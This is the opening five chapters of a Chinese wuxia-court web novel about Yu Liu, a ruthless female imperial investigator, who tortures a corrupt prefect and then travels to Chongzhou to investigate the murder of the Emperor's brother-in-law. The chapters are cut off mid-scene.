《师妹她一心杀我》 1. 女侯官 《师妹她一心杀我》全本免费阅读 鄞州城,丑时一刻。 上元节遇上了好时候,老天爷跟死了亲爹似的,报丧了七日。这七日来从早到晚哭哭,停停,又哭哭,至今仍未止眼泪。 这时辰算是伤心时候,暴雨如天倾,厚云乌黑,不见日月。这可苦了鄞州百姓,好不容易送走胆大包天的要命知州和人鬼见愁的侯官长官,想过个好节,天公却不作美,满城的黄金灯笼都隔着一层水色面纱,制备了半月的花灯也是无人欣赏了。 其实也算不得无人,鄞州那夜不熄灯的茶楼还在迎客。镂空的木窗半开,楼外挂不了花灯便在楼内挂了个满,精巧的灯笼下聚了不少茶客,只为来一听年前说书先生未能讲完的最后一回。 他们这群小老百姓对于朝廷之事也就只能听点不犯法的传奇话本消遣消遣了。 台下几桌的瓜子蜜饯这么一摆,不值钱的陈茶续上了一壶又一壶,融了半碟烛花后,身着灰袍的长髯老生披着雨夜的寒凉姗姗来迟。 抬手抹了厖眉上的水珠甩至身后,撩衣坐下,喝了口店小二送上的热茶祛湿。 歇息了片刻,将惊堂木拍下:“各位客官,久等了。” “上回说到咱们大殷的侯官分为内外两部,内侯官司前殿后宫,外侯官司以京城为首的百余州县,除了崇州。去年年末前来稽查知州案的京城官儿正是出自陛下的亲卫军外侯官,也是当朝第一位女侯官……” 头戴箬笠一身青蓝常服的女子漫步在早就废弃了的枯衣巷内。 连日的雨水在青石板铺就的巷道里积了一层薄水,绣金的黑靴走过,如人走在湖中,划过积水的圈圈涟漪蔓延,撞击泥砖,归于消亡。 檐下雨珠滴滴答答,溅在黑靴上,又留下更深的湿痕。 她抬头,十二生肖的花灯悬在鄞州最高楼,却照不到枯衣巷。 这地方,的确适合藏身。 踏踏的踩雨声混合着漫天的珠帘,是雨声,是风声,是夜声,还是人声。 女子未点口脂的双唇抿出很淡的笑意,半收紧的袖口滑出一抹流光,反射出她如黑星的双眸。 当然了,也适合她杀人。 “……她的来历各位应当都听惯了,今日且听小老儿来说些别的。” “这位女侯官可不得了,雷厉风行,手段之残忍,无所不用其极,自她任职以来,未曾让一案落空。京城那些大街小巷的官员一时人心惶惶,生怕自己嘴巴何时漏了,把自己的命都漏了。” “先生,传得这么玄乎?” “客官有所不知,这可不是传说,有人亲眼见过。话说去年七月十五,中元鬼节,京城西郊那一带不知是谁起的头,流出了‘飞鹰溺亡,野鹿食之’的残语。” “那又如何?” “客官莫急,请听小老儿细细道来。” 先生抬手,压低嗓子:“那是因为啊,咱们陛下的乳名里有个‘鹰’,而那‘鹿’则属于早年起兵造反被陛下斩杀的前二皇子。适逢中元,鬼门开启,如此一来,就无需小老儿继续言说了吧。” 满堂静寂。 先生满意了,捋了把半湿的髯须,不急不徐道:“当时陛下震怒,限期三日命外侯官查清此事。否则的话,大家都懂。” 先生嘬了一口泛凉的茶,突然转了个高声的调子:“哎呦,这位女侯官可不得了,不仅接了案子,还立下了军令状。她出身低劣,侯官流派里也有不少人看不起她,皆等着她死在正阳门前。不曾想这位大人不到一日便查清了来龙去脉,策划此事的,正是当年侥幸逃过一劫的二皇子旧人。第二日她便栖身西郊乱葬岗,在死人堆下的地窖里堵到了人……” “范大人,往哪儿走呢,那条路可是死路。” 悠扬的女声自黝黑的巷子深处传出,犹如地狱而来的鬼魅低语,惊得满身污泥的中年男子满面仓惶,脚下一软,直直跪倒在水中。 “你——你还没走?” 女子呵了声:“这话问得有意思,没抓到你我走什么?” 人在闸刀下睡久了,风声鹤唳,没能及时收到的书信成了滚出草尾尖的凶兆,吃不好睡不着,连夜换上粗布麻衣,不顾一家老小装成挑粪的农民当着鄞州外侯官的面跑了。 不过他也不流窜出城,毕竟最危险的地方就是最安全的地方。 渴了喝雨水,饿了就去附近牛车拉来的秽污堆里翻找残渣,苟延残喘地在枯衣巷如阴沟老鼠一般过了半余月,骨瘦如柴,落魄潦倒,与往日养尊处优的朝廷命官简直判若两人。 头发如房屋久不见日光的死角处的蛛网,勾结着灰尘,打着绺儿泛着油光,散着阴湿的臭味。雨水落在上面,竟然凝成了珠子。 珠子簌簌吹落,范有恩扑倒在水中,朝着女子磕头求饶:“大人呐,大人放过小人吧,小人知错了,知错了,小人会好好做人,以后一定会闭上嘴巴的,求大人放小人一条生路吧。” 在积水的地方磕头,都听不见头撞地的声音,无趣极了。女子觉得没意思,淡淡地开口:“你的夫人也是这么说的,我那时候刚升职,心情不错,就问她愿不愿意把舌头割了,这样,她嘴巴不就闭上了吗?” “你猜怎么着?” 范有恩哪里敢猜,心口颤动,磕头磕得连喘气都难。 女子懒得看范有恩磕头的蠢样,把玩着手里精致的匕首:“她犹豫了,我给的机会向来千载难逢,她居然犹豫了哈哈哈哈哈哈……哎呀,那就只能去死了呗。” 这是一个信号。 范有恩这辈子的聪明才智在这一刻抵达了顶峰,他停下,着地的膝盖匍匐,猛地扑在她跟前:“大人,我愿意的,只要能活命,大人可以把我的舌头拿去。” 话音刚落下,闪着寒光的匕首就已置于眼前。范有恩僵硬地咽了一口几近于无的唾沫,大难临头,生死一念,在大雨之夜,他整个人干得像是从未喝过半口水。 锋利的匕首寸寸往下,范有恩下意识地张了嘴巴。还未等他伸出舌头,头顶的女子噗嗤笑出声来。 “范大人呐,几日不见,你怎么像被你用私刑处死的那群幼女一样天真?” 冰冷的,泛着寒光的匕首托住范有恩的下巴,他被迫抬头,与背着月光的女子对视。一眼,只要一眼,他就能感受到滔天的杀意。 “范大人,你和令夫人不一样。你可是陛下钦点的鄞州知州,是朝廷命官,这说出去的话就是泼出去的水。范大人可是读书人,知道什么叫覆水难收吧。” 她分明没动,范有恩的咽喉却被好似被掐住,浑身都阵痛,都酸软,手指在抖,小腿在抖,头颅也在抖。 女子像是什么都没有察觉,自顾自道:“我要你的舌头有什么用,喂狗吗,你的舌头狗都不吃吧,不如我割下来,你自己吞了?” “啊,”她俯身,套着半只黑色皮质手套的手掌拍着范有恩肥腻的脸,往他下巴游走,“我觉得这是个好主意,张嘴巴,我会很温柔的。” “啊——” 满嘴的鲜血喷涌而出,在黑雨之夜留下了斑斑血泪。范有恩疼得在地上打滚,他叫不得,只能无望地张嘴发出悲鸣。< 2. 国舅死 《师妹她一心杀我》全本免费阅读 皇贵妃的亲弟,陛下的小舅子,当朝安国舅死了。 此事传进皇宫时,玉流正坐在自家的后院码竹片。镶着黑玉的匕首削开竹筒,用木贼磨平,整齐地摆在一起。 三月过去没多久,人心还没闹腾起来,京城这些朝廷命官各个都安分守己的,最直观的后果就是外侯官能办的案子少了。旷闲了许久,有日子没见过血,手痒得不行。 摩挲过细亮又锋利的竹丝,玉流掐掉指腹刺出的血珠,闭上眼睛压抑骨子快要溢出的杀人冲动。 就在这时候,她的同僚,外侯官的二把手诸几推开木门,整个人热气腾腾的。 “玉流,崇州出事了。” 诸几急,玉流不急,摸着竹片同他道:“诸哥,晨好。” 按年岁来排,诸几长她近二十岁,玉流能称呼一声叔叔。 他是武官出身,为人太正得罪了不少人,在兵部扫了三年的地。十年前皇家围猎,山林凶兽伤人,诸几挽弓一箭穿心,得了陛下垂青,才从兵部调到了侯官署。 若是按外侯官的等级来排,他们同级,只差了一个等次。 无他,玉流爬得太快了。 短短一年,从大殷第一位女侯官,到不到二十岁官至副级,饶是如今外侯官的一把手章囚都要惊叹,“玉流,真许侯官第一流。” 玉流这静如水的样子让诸几也静了几分,大马金刀地坐在玉流自己编的藤竹椅上:“有水吗,渴死我了。” 自然有,玉流提起脚边矮凳上放着的陶壶丢了过去。 诸几稳稳托住,仰头倒入口中。 等他喝够了,玉流收起玉匕首,不咸不淡地瞥了去了燥热的诸几一眼。 狐狸似的凤眼扬起,眼尾末缀着的一颗红痣好似湘妃竹泣血。颇为靡艳冷丽的一张脸,偏偏喜好杀人用刑。 “崇州那地方,出事不是很正常吗?” 崇州幅员辽阔多山多水,山高地险,本是兵家必争之地几经辗转却成了烫手山芋,只因崇州多门派。她的师门天下第一剑,虽早已没落,却也是生于藏于亡于崇州。 多门派的地方,是江湖。 是江湖,所以易出祸端。 诸几怎会不知玉流的想法?他放下陶壶,挪着椅子坐到她身边。 “若只是崇州我定不会赶来寻你,这一次不一样,”这些年诸几跟在章囚后面性子软了些,与内侯官交情不错,知晓些还没传出来的消息,就比如这一个,“安国舅在崇州山道死了。” 玉流淡漠的眸子里终于起了点波澜,抬手拂开桌上的竹片:“你说谁死了?” 诸几抬手敲着石桌,正色得很:“安国舅,安德明,皇贵妃一母同胞的亲弟。” 玉流寂下来,若是其他人死了也就死了,偏偏是皇贵妃的胞弟,偏偏死在了崇州那地方……半垂的双眸让人猜不出她此刻在想什么。 等了一会儿,她问:“怎么一回事,安德明不是外出游历去了吗?” 诸几蔑笑:“游历什么,纨绔出门撒银票去了。一个月前传信说要去南边,但人实际往崇州去了。” 玉流拧起秀眉:“他敢去崇州?地方的外侯官没有上报吗?” 诸几:“报了,安国公亲自找的阿囚,说安德明顽童心性,只是好奇心作祟去见一见世面,陛下无需知晓,若是出了事,他一人担着。” 玉流嘲弄道:“他还真敢说,真是虎父无犬子,囚哥给他这个面子了?” 诸几讥讽:“怎么可能,他的面子算得了什么,自然是禀报了陛下,不过陛下觉着无大碍,便随他去了。” 陛下还真是爱护安家,玉流啧了声:“所以现在是?” 回到正事上,诸几收起了笑脸,一脸严肃:“今日卯时,千里马驮着他的裸尸出现在城门外,城门卫反应迅速,遮掩过去了。附近的外侯官跟着去验尸房看了,一剑封喉,但……” 玉流:“但什么?” 诸几神色扭曲了几番:“安德明被黥面了。” 玉流挑眉:“私仇?” 诸几:“不好说。” 玉流:“黥了什么?” 诸几:“无涯贼首。” 玉匕首自袖中掉落,与石地撞击,发出清脆的声响。 玉流音调偏高:“无涯?” “是无涯,”诸几没听出来,偏头,“玉流,你怎么想的?” 玉流闭眼,交替了一口浊气。须臾,思绪镇定,她道:“我怎么想的不重要,重要的是陛下怎么想的。” 诸几:“巧了,阿囚也是这么说的。” 玉流仰面靠在椅子上,面色沉沉:“看来囚哥已经收到消息了。” 诸几点头:“我和阿囚的意思,玉流,不要逞强。” 这可不是逞强不逞强的问题,玉流抠紧竹子面扶手,指甲陷进竹片里,剜得肉疼。 “诸哥你先回吧,我有分寸的。” 送走诸几,玉流已经没了剖竹的闲情雅致。估摸着天色,陛下的人也快了。 说曹操曹操就到,不多时,木门又进来一个人。看不出年纪的公公躬身道:“玉流大人,陛下召见。” 一个时辰后,玉流离开奉天殿。 她鲜少进宫,也就是去年破了西郊的中元鬼流言,还有年初带着范有恩的尸首回京时得以进宫觐见陛下。 宫廊长长,领路的小太监拐个弯就不见了,再见时已经换了个人。 玉流没有声张。 与外侯官不同,内侯官藏在太监中,除非必要他们并不会透露自己的身份。 以玉流的武功,她不需要内侯官的助力,况且能在皇宫做这种事的人,也就那几位。 玉流气息沉稳,跟着小太监往宫闱深处走去。抬眼望去,再走就是冷宫了,在冷宫相见可不是个好决断。 玉流停下了,小太监没停下,跟老鼠似的钻进狗洞逃了。 棋子都算不上的人她向来不屑动手。 玉流转身,身姿笔挺,余光捕捉到那片艳红的衣角:“贵妃娘娘何意呢?” 一袭端庄宫装,一头金玉朱钗的女子自暗处走出,投足间暗香浮动。 她不过二十余岁,掩面,低眸轻泣,柔声腻语,似在怪罪玉流的无情:“这不是想见玉大人一面都难吗,思贤只能出此下策了。” 玉流扬眉,避开安思贤的亲昵:“我为臣子,贵妃娘娘若要见,下令便是。” “听起来玉大人是要同思贤讲君臣了,”安思贤扑了个空,也不在意,捻着白玉似的指甲,眼神幽怨,“那若是思贤要和玉流谈旧情呢?” 玉流抬眸,清瘦的人负手立于从未逃出宫墙的风中,缓缓勾起了唇角。 三日后,京城外青山不休亭。 玉流挑了个好时候,正午的艳阳高悬,人晒得跟鱼干似的,直挺挺的一条,地上连影子都没有。 矮胖的小书生热得不行,袖子都擦得湿透了,额头上的汗还是止不住。 “玉姑娘,咱就不能挑个好地方吗,包打听虽然命贱,但是我的命也是命!” 玉流嗤地笑出声,翻手丢来个水囊:“你还想去哪儿,京城?你有胆吗?” 小书生拔开木塞猛灌了好几口,纾解了体内的燥热,脑子活络了些,接了玉流的话:“没胆子,没胆子。” 他们包打听,最没胆子了。 包打听不是一个人,而是无数人,他们是隐匿于世俗的蝼蚁,无处不在,几乎是无人不晓,无事不知。 说起来,包打听也算是江湖的侯官,只是他们只卖消息,不杀人。 比如眼前这一位,便是登记在册的第一千一百一十一位包打听。 玉流翘着二郎腿,手里托着锭金子,包打听眼睛都亮了。丢开水囊,胡乱地在脸上摸了好几下,确定自己没在做梦,直击魂魄,飘飘然矣。 “玉姑娘,玉姑娘。” 一声声的玉姑娘,玉流开始掂金子。 那金黄的,闪耀的,无暇的金子在包打听眼里一上一下,一上一下。他这心呀,也一上一下,生怕玉流一个不小心没接住,让金子磕了或是碎了:“唉,哎,唉,哎……” 玉流遛狗遛顺了,啪地将金子按在亭子的石桌上:“行了,醒 3. 入崇州 《师妹她一心杀我》全本免费阅读 玉流是在一个阴天离开京城的。 天地灰朦,城郊寂静,几片沙砾被路过的风吹起,颇有暴雨来临前的预兆。 城外那人,一身白衣,玉冠束发,没有包袱,只有一人一马一柄剑。 诸几近日公事繁忙,换章囚来送她了。 章囚只比玉流大了十岁,却比诸几还要有兄长风范。 高挺俊逸的青年眉目紧锁,玉流这身男装,有她入京时惑乱城内闺阁少女的影子了。不过在外查案,的确男装更为合适。 此时玉流还等着他,章囚张开嘴,出门前千言万语的腹稿,临别时只磨出个“万事小心”。 当年陛下为显朝廷仁慈,也是为了与江湖和谐,允诺朝廷势力不干涉崇州之事,于是陛下的亲卫军外侯官不曾进入崇州,就连在崇州设立的全大殷独一位的太守也是选了个崇州出身,与皇家毫无干系的探花郎。换言之,陛下在大殷这片土地上布下的滔天棋盘唯独缺了崇州这一罫。 他听说这太守收到临州的外侯官传信,言陛下已派人前来,便什么都没准备,连案发地附近都未曾去过。这糊弄都不糊弄的做派着实是让人大开眼界。 所以玉流此去,章囚有些担心。 “虽然算不上回家,勉强也能算上回乡,江湖人做事我有数,还是讲点情面的,囚哥,放宽心。” 玉流觉得她囚哥也是多思,不如像诸哥学学,昨夜送了一堆的兵器供她挑选。她琢磨着,挑了一把铜匕首绑在手腕上。侯官当久了,用刑杀人什么的,还是用这种小的称手。 “阿玉,你知道我说的不是这个。鄞州案你处理得不错,陛下自是看重你,但这一案非比寻常,你一定得做好,不管是崇州还是京城,江湖还是朝廷。” 章家自祖辈起便是大殷忠臣,到了章囚这一辈,人丁虽凋零了些,但章囚也不负章家家训,担任侯官重职。有祖辈的荫蔽在,章囚不比玉流和诸几之流,官场走得顺利,也更谨慎。 玉流听懂了他的意思,微微点头,翻身上马:“囚哥,风厚露重,回吧。” “驾——” 京城郊外的黄沙飞扬,一人一马远去,黑豆的影子终是消失在了官道尽头。 崇州地处大殷腹地,离京城千万里。玉流奉命稽查国舅之死不是秘密,大殷早就传遍了,沿路州县的低等外侯官不约而同地在驿站替她备了所需的干粮,望换得这位玉大人的青眼。 玉流一视同仁,各个驿站都停下了。马儿去补口草料,她顺了个馕饼,留了枚金瓜子,拍着这群小侯官的肩膀:“走了。” 玉流慢赶紧赶,越近崇州越熟悉,走得越顺遂,几乎赶了三天三夜便已抵达。 抵达崇州边境时天色黄昏。 入崇有两条道,一条官道,走的崇州正城门。绝大多数入崇的官商民都会走这条,稳当。 还是另一条是山道,也就是安德明死的地方。像是吃饱了撑着的纨绔子弟,或者是不怕死的江湖侠客,还有些赶时间的商旅会选这条道。这条道险,但近。 大抵是临州的外侯官没来得及告知玉流的行踪,不知道玉流会选哪条,亦或是偷懒故意的,崇州太守并未派人守在山道附近等她。 无人正好。玉流离京前去看了安德明的伤口,如今需要亲自去山道看看,安德明究竟是怎么死的。 安德明说到底是个尊贵的纨绔,出门不可能不带护卫。她记得安思贤说她弟弟身边有个剑客,虽然比不上玉流的天下第一,但也能在剑榜上排上名号。 那就是进前十了。不过也没什么用,除了前五,后面都是半斤八两,于她而言,皆为废物。但对于一般的江湖势力和世俗常人而言足够了。这也是安德明敢在崇州附近的山道晃荡的原因。 不过他既然榜上有名,那就是前十的剑客被个无名小贼斩断了筋脉,此生都不能执剑。 玉流心道,小贼有几分真本事,兴许真能称得上贼首之名。 不远处山脉叠嶂,山道如练,将山一分为二。山道上,山巅云雾缭绕;山道下,山涧河流湍急。白鹭掠影,山猿攀吼,引得马儿鼻息急促,玉流勒紧了缰绳。 一年不见,这地方还是这么渗人。 玉流嗤之以鼻,下马,将马儿栓在山道入口。她一人去探即可。 安思贤约见玉流的那日,有三件事。 其一,告知她安家早就知晓此事。 当时安德明被掳失踪,唯一活下来的剑客则提着一口气寻到了附近州县的安家人脉,被先送到了京城,碍于生不见人死不见尸,又是在崇州那处,安家不敢轻举妄动,更不敢禀报陛下。 其二,给了她一张绘有安德明出事地的图纸。 这图纸是由那位剑客口述再由画师画下的,算是对安家留着他一条残命的谢礼。 不过在玉流看来,剑客不能执剑,和死了没分别。这位剑客还能磕头叩谢安家仁慈,说明他真的很低级,不配剑客之名。 玉流只看了一眼,便用内力将图纸摧碎,她记得住,把柄留不得。 这其三,玉流轻嗤,不说也罢。 她才不理会死了儿子的安国公跪在陛下跟前说了什么,死了弟弟的皇贵妃美人落泪,枕边风又吹了什么。 皇亲国戚被剑杀被剥衣被黥面还被送到了皇城根下,损的可不止安家的脸面,不然,就凭安思贤,怎么能见得了她。 想让她给死人脸上添妆,还想同她谈旧情? 玉流最不在乎的,就是情了。 走了百步,玉流停下,眼前的路与景已同图纸所描绘的几乎完全吻合。 是这儿了。 玉流扶起路边垂落的半枯断枝,细细得摸过截面的痕迹。一路往上,是树干留下的剑气残影。 残影有两道,一道看着深,其实不到半个指甲盖。用她师父的话来说,就是绣花枕头,中看不中用。不用猜,这是那位残废的。 玉流哼声,这剑榜是越发掺水了,什么水货都能进来,她十岁都能比这厉害。逍遥阁若是不想干就别排榜单,免得说出去影响她的名声。 另一道,看着很浅,实则极深。玉流拨开死去的树皮,一层,一层,又一层,越拨心越惊。 竟然有半寸深。 玉流强按下眼里的欣赏,推开心里的狐疑,取而代之的更多为警惕。 这剑杀,她都未必能及。 这无涯贼首,竟然真是高手。 玉流心道不妙,照剑客告知安家的说法,算着日子,离安德明出事已有半月,崇州来往的江湖人不计其数,她能发现的事情,其他人也能,尤其是逍遥阁。 他们这群江湖人,慕强,尊强,敬强。这些痕迹是被刻意留存下来的。章囚觉得崇州太守尸位素餐,其实他是真活进了崇州,他知此理,故而无需派人看守案发地。 玉流明白,她这天下第一,遇到对手了。 至于剑榜为何未更新,应当是她这一年远在京城,不曾用剑,逍遥阁尚不清楚她和贼首的 4. 梦师兄 《师妹她一心杀我》全本免费阅读 玉流负伤的消息在崇州不胫而走。 本不应该这么快的,但玉流就着流血染红的白衣大摇大摆地走进太守府,着实惹眼。 彼时崇州太守正在府前带着一众百姓练八段锦。 这太守府前衙后府,衙门没案子的时候就是片空地。 “各位跟我学,马步要稳,手要有力。俗话说得好,要想身体好,八段锦不能、能、少?” 在老实本分的人群外骤然看见一胳膊红的玉流牵马走来,太守惊得下巴都快要掉了。 他又不是真傻子,早就在跑腿的包打听那儿买了一幅画像知道了这位女侯官的长相。更何况玉流来的一路上,城里那群闲出屁来的江湖客早就传来了小道消息,告知他玉流快到了,往山道去了,问他怎么不去,还有工夫在这里练八段锦。 太守捏着竹签剔着牙缝,挥手赶人:“去去去,有什么好问的。” 他就是呀,懒得去接。人有腿嘛,会自己来。 只是太守没想到:“啊这这这……” 他实在是闭不上他的嘴巴,这又是谁那么大的胆子敢伤外侯官副指挥使?不知道死了没,没死的话他去拜一下。 如此熊心豹子胆,实为吾辈楷模。 太守一幅傻样靠不住,还是身边敲锣打鼓加油助威的主簿最先回过神来,大声叫唤:“来人,快去,快去请郎中!” 玉流摆手:“无碍,小伤而已,拿壶烈酒来便是。顺便,给我的马拿点水和草料。” “好好好,”太守终于清醒了,“老卢听见没,还不快去!” 指示完主簿,又转身驱散了周围聚集的百姓:“各位父老乡亲,今日休息一天,我们明日再来哈。别看了别看了,也别去叫人来看了,走了走了,不然小心本官用刑处置。” 听见这最后装模作样的一句,玉流冷着眼觑他。这太守,真会说话。 太守丝毫未觉:“玉大人,这边请。” 玉流跟着进了大门。 太守府不大,几乎没有人,外秀内简,没有花园,种着些常见的花草。除了房间,只有空旷的院子,布局陈设也皆为实用首位。 堪称紧紧有条。 玉流心里有了计较。 未走多远,听见一道声音响起。 “啊,玉大人来了呀。”包着头巾的女子正在院子里劈柴,见他们走来,放下了柴刀。 “柳夫人。”玉流看向她。 这位崇州太守姓柳,名吾善,崇州百涧谭人,成武三年探花,陛下千挑万选选出的崇州父母官,如今任职已有十五年。其二十成婚,夫人姓杨,名淮月,崇州炼炉镇人,擅武,兼任捕快一职。 这是这些年来外侯官仅有的有关柳吾善的信息。不多,够用。 “莫叫我柳夫人,嫁了人,我依旧姓杨。” 完全被忽视的柳大人:“我再说一遍,这真的只是个称呼。” “你闭嘴,”杨淮月瞪了夫君一眼,瞥见玉流的胳膊,拔高嗓子,“啊,大人这伤?” 柳吾善抬手让她小声些:“老卢去拿药了,你莫叫了。” “你让老卢去?” “那不然谁去,我们府里的人一只手就能数过来,我还能去找谁。” “也是,不过老卢的话……我去去就回。”杨淮月踢开挡路的柴火,轻巧地往主屋去了。 柳吾善不知夫人又在搞什么:“玉大人莫见怪,我家夫人一惊一乍惯了。大人请随我来。” 他伸手请玉流往西边走去,给她找了间府里边缘幽静的房间:“这间,可以吗?” 玉流扫了眼:“有劳了。” 柳吾善拿出钥匙替她开了门,开了窗,散了房里的霉味:“之前没什么准备,大人只能将就一番了。” 玉流笑:“无碍。” 她做侯官的这一年,住的比这稀烂的地方多得去了。 不多时,主簿小跑着送来了烈酒和纱布,还有一瓶金疮药。 “大人,我来了,酒来了。” 这大嗓门,这才是一惊一乍的主儿啊,柳吾善吸了一口气:“是药酒,药酒,不要这么大声,说得好像是我白日饮酒一般。” “好了,拿进来吧。” 训斥完主簿,杨淮月也到了。她带了一套旧衣:“我看大人没带包袱,身量和我年轻时差不多,就自作主张拿了我以前的衣裳来,大人莫要嫌弃。” 武人心不粗,她这身染血白衣的确需要换。 “麻烦夫人了,”玉流单手接了,“多谢。” 在一旁站着的柳吾善和老卢默默地给夫人竖起了大拇指。 杨淮月叉腰昂首瞥了这俩邋遢货。她到底管着太守府的大小事务,柳吾善和老卢能一个比一个懒散粗糙,她不行,怎么也得给京城来的侯官大人留下个好印象,尤其这位还是长了女子威风的女侯官。 “玉大人饿不饿,我去厨房给您做点什么填填肚子?” 玉流摇头:“不用了,我得先处理伤口,你们该做什么做什么,不用管我。” “那玉大人好好休息。”柳吾善也不推脱,当即迈开了腿,被杨淮月拿胳膊肘堵了回去,连带着卢主簿也被捅了一胸口。 杨淮月无声张嘴:等着! 卢主簿:我招谁惹谁了? “我来点炷香,”杨淮月打开香炉,随手找了根完整的香,燃香吹灭,“安神的,玉大人好好休息。有事的话您出来喊一声便是。” 说罢,带着夫君和同僚退出去,还体贴地替她关上了门。 确定附近没了人,玉流卸下气息,坐在床边,撕裂袖子。伤口本已凝住,如今又裂开,汩汩地流出血来。 玉流面无表情,推开金疮药,拿起酒壶咬开木塞子,将烈酒浇在伤口处。血肉滋滋作痛中,她竟然诡异地寻到了一种满足。 真是太久没受过这样流血的日子了,玉流闭目养神,回忆这场比试。 细节早已记不清,那句挑衅的话却清晰得仿佛就在耳边。 须臾,她睁眼。 人还没抓着,第一就送了出去,真是太可恨了。 玉流恨得兴奋:“无涯贼首,你给我等着,我不仅要活捉你,还要让天下人看着,我是如何夺回第一的。” 床前的香炉白烟袅袅,玉流躺在床上歇息片刻,感受到了浓厚的困意。不知不觉,她闭眼睡去。 “咯吱”,没有关好的木窗被风吹开,掺了别物的安魂香熄灭,冷月溜进来,床上的美人睡得不安,因为梦魇。 不管愿不愿意,她都得承认,她输了。输这个字,曾伴随玉流度过整个山中的练剑岁月。 尊者扬名天下后,在崇州万丈峰下创立了天下第一剑,他这一生,只收了两个徒弟。 玉流是第二个。 “你师兄不日便会回来,你若是赢了他,我便让你下山。”面对徒儿连日的请求,尊者如是回答。 玉流不满:“可是师兄已成了剑榜第一。” 尊者挑着稻米的手一顿,早年间令江湖闻风丧胆的天下第一剑如今也成了飘然隐居于山间,种菜喂鸟养孩子的闲云野鹤。不知何时起,他的鬓角爬上斑白,用不了多久就要成为一身鹤骨似霜松的老头了。 尊者慈爱地看向她:“怎么,阿玉怕了?” “不怕。”玉流摇头,她怎么会怕,她会赢的,她会成为第一的。 一日后。 “师兄。”玉流抱着木剑坐在石头上,见到山路上悠然而来的人,立即跳下。 才半年未见,十四五岁的豆蔻少女,长在青山里,养于秀水旁,早已出落得亭亭。高出她许多的清隽少年心想,唔,下次下山可以去胭脂铺和簪钗店瞧瞧了。 他走近,本想细细打量一番,却看见了瑕疵。他拉住她,俯身,指尖按在她的眉骨上,担心得不像话。 “有人伤了你。” 玉流眉 5. 敏郎君 《师妹她一心杀我》全本免费阅读 杨淮月实在是不放心玉流一个人躺在那间房里。 且不说这位玉大人此行的目的,崇州那群江湖客知道她负伤的消息肯定坐不住,要是府内又来了什么人,哎呦呦,那怎么得了! “不行,我得找人在门口守着。”杨淮月停下来,对着柳吾善正色道。 夫妻同心,柳吾善自是知晓夫人的担忧,只是他们这太守府哪里来的人? 同样多年好友的卢主簿也听懂了,抬头见杨淮月和柳吾善一个对眼,吓得他打了一个寒颤,当即抱紧自己摇头坚定拒绝:“咱们可是同僚可是上下级啊,你们不要害我啊!” “就你,想得倒是美,让你去不如我自己去,”杨淮月没忍住翻了一个白眼,“我是想说之前你们收留的那位小郎君可还在?长得唇红齿白的,也有些本事,兴许能在玉大人那儿留下来。” 卢主簿以白眼回敬:“夫人,你看起来有些好色。” 柳吾善掩嘴轻咳:“老卢,你怎么说话的,这是好色吗,分明就是龌龊。” 他转身,跟卢主簿站在同一阵营:“你自己好色也就罢了,怎么能诋毁那孤苦伶仃的小郎君?小郎君可是正经人家出身,不要将他和极乐天的那群人混为一谈!” 杨淮月深深吐出一口气,一把揪住柳吾善的头发,疼得这位柳大人直呼轻点轻点。 杨淮月没什么好脸色:“说什么龌龊,我夸他长得好看不行啊,还有,我说的本事,是通风报信的本事,人家一江面上打渔的,有些功夫傍身,你这榆木脑子懂还是不懂!” “原来如此,”卢主簿恍然大悟,作墙头草,反过来指着柳吾善,“大人,你龌龊了。” 柳吾善从杨淮月手里挣扎出来,抓着被薅下的一把头发,心有戚戚:“你可闭嘴吧,我做主了,你去让那小郎君过来,之后就在玉大人屋外守着。” “好嘞!”卢主簿一溜烟就跑了。 柳吾善心里的算盘打得叮当响,等着卢主簿带人过来,他呢吩咐一番,好好表现,不曾想这老卢脑子跟缺根筋一样,他在书房等了半天都不见人影。坐不住了,出去寻了在前院赏月的杨淮月这么一合计…… “你那时候怎么说的来着?” “让小郎君过来,之后就……糟了!老卢不会直接让人去了吧。” “哎呦我的老天爷,这不是明摆着吗,赶紧去看看呐!” 两人火急火燎地跑去那屋,远远瞧见房门闭着,柳吾善不由得松了一口气:“应该还没来。” “不行,我们还是去确认一下。”杨淮月不这么想,拉着夫君的手,蹑手蹑脚地走到门前贴着耳朵。 他们跟做贼似的,屏住呼吸,只听见里面怯怯的声音,轻如飞羽。 “我,我来伺候大人。” 咚——柳吾善的心如坠冰窟。 杨淮月闭上了眼睛。 屋内,玉流的手已经从手腕转移至脖颈,这小郎君被掐得满面通红,眼泪汪汪,说话更是费了半条命。 伺候她?玉流听完他拼死说出的话,盛满杀意的眸子眯起,松了几分力,继而移眸:“门外的人给我滚进来!” 在门外听得不对劲的两位哪里敢不应,杨淮月一把将柳吾善推进来,也不顾自己夫君摔得趔趄,瞥了一眼快昏死过去的小郎君,笑容堆着脸:“实在是对不住,想着找个小郎君来照顾大人,却没安排好,就是这柳吾善的错。” 柳吾善被扣了一头的黑锅,闭眼深吸,在心里告诫自己,这是自己娶来的,再怎么样,都是自己娶来的。 调养好情绪,他接上杨淮月的话,作揖便是道歉:“是我的错,害得大人受惊了。” 玉流在这两人的脸上扫了几眼,终是松开了钳着小郎君喉咙的手。 杨淮月赶紧将倒地的人扶起来:“没事吧?” 小郎君摸着红疼的脖子,小小声:“没事的。” 柳吾善在一旁心累,这老卢做什么,到底有没有和人好好说,来了就来了,外面守着便是,进来做什么! 杨淮月也是这般想的:“不是,就让你守着门,你这是做什么呀!” 小可怜儿跪在地上,抖得如雨夜的月桂树一般,手腕和脖颈都环着红肿,被玉流掐得,眼尾一片暗红,被玉流吓得。他垂着头,怕得不行,更是不敢看那已经坐到床边的人:“我在门外听见大人梦呓,怕大人出事,便,啊——” 他像是才醒悟过来,顶着慢了半拍的脑子慢悠悠道:“原来卢叔说的是这个,我以为是守在大人身边……是我理解错了。” 听起来事出有因,如果忽略后半句的话。 杨淮月看向玉流:“那大人是否——?” 玉流蜻蜓点水般在他身上落了一眼,瞳仁中宋繁声那张模糊的轮廓褪去,眼前显现的是一张清艳似花的脸庞。 原来不止看起来有点呆呆,听起来也是呆呆的。 “无事,故地重游,梦而已。”她真是太久没梦到往事,一不小心着了那个鬼的道了。 玉流起身,走到这三人跟前:“伺候就不必了,我没有这种嗜好。” “啊,大人我们不是这个意思,”杨淮月慌忙解释,“这孩子是我们收留的,你知道的,我们这府小,事情少,他来了也就是喂马扫地的活儿,也成不了大器,我们觉得可惜了。想着正好大人千里赶来,总有诸多不便,让他能给您跑跑腿什么的。” “是不是呀。”杨淮月杵柳吾善。 柳吾善立即点头:“是是是。” 说得如此好心,玉流没有作答,只是似笑非笑地看着他们,看得他们浑身不舒服。 许久,玉流单膝跪地,与这腿软地站不起身的小郎君面对面,挑起他的下巴:“崇州本地人?” 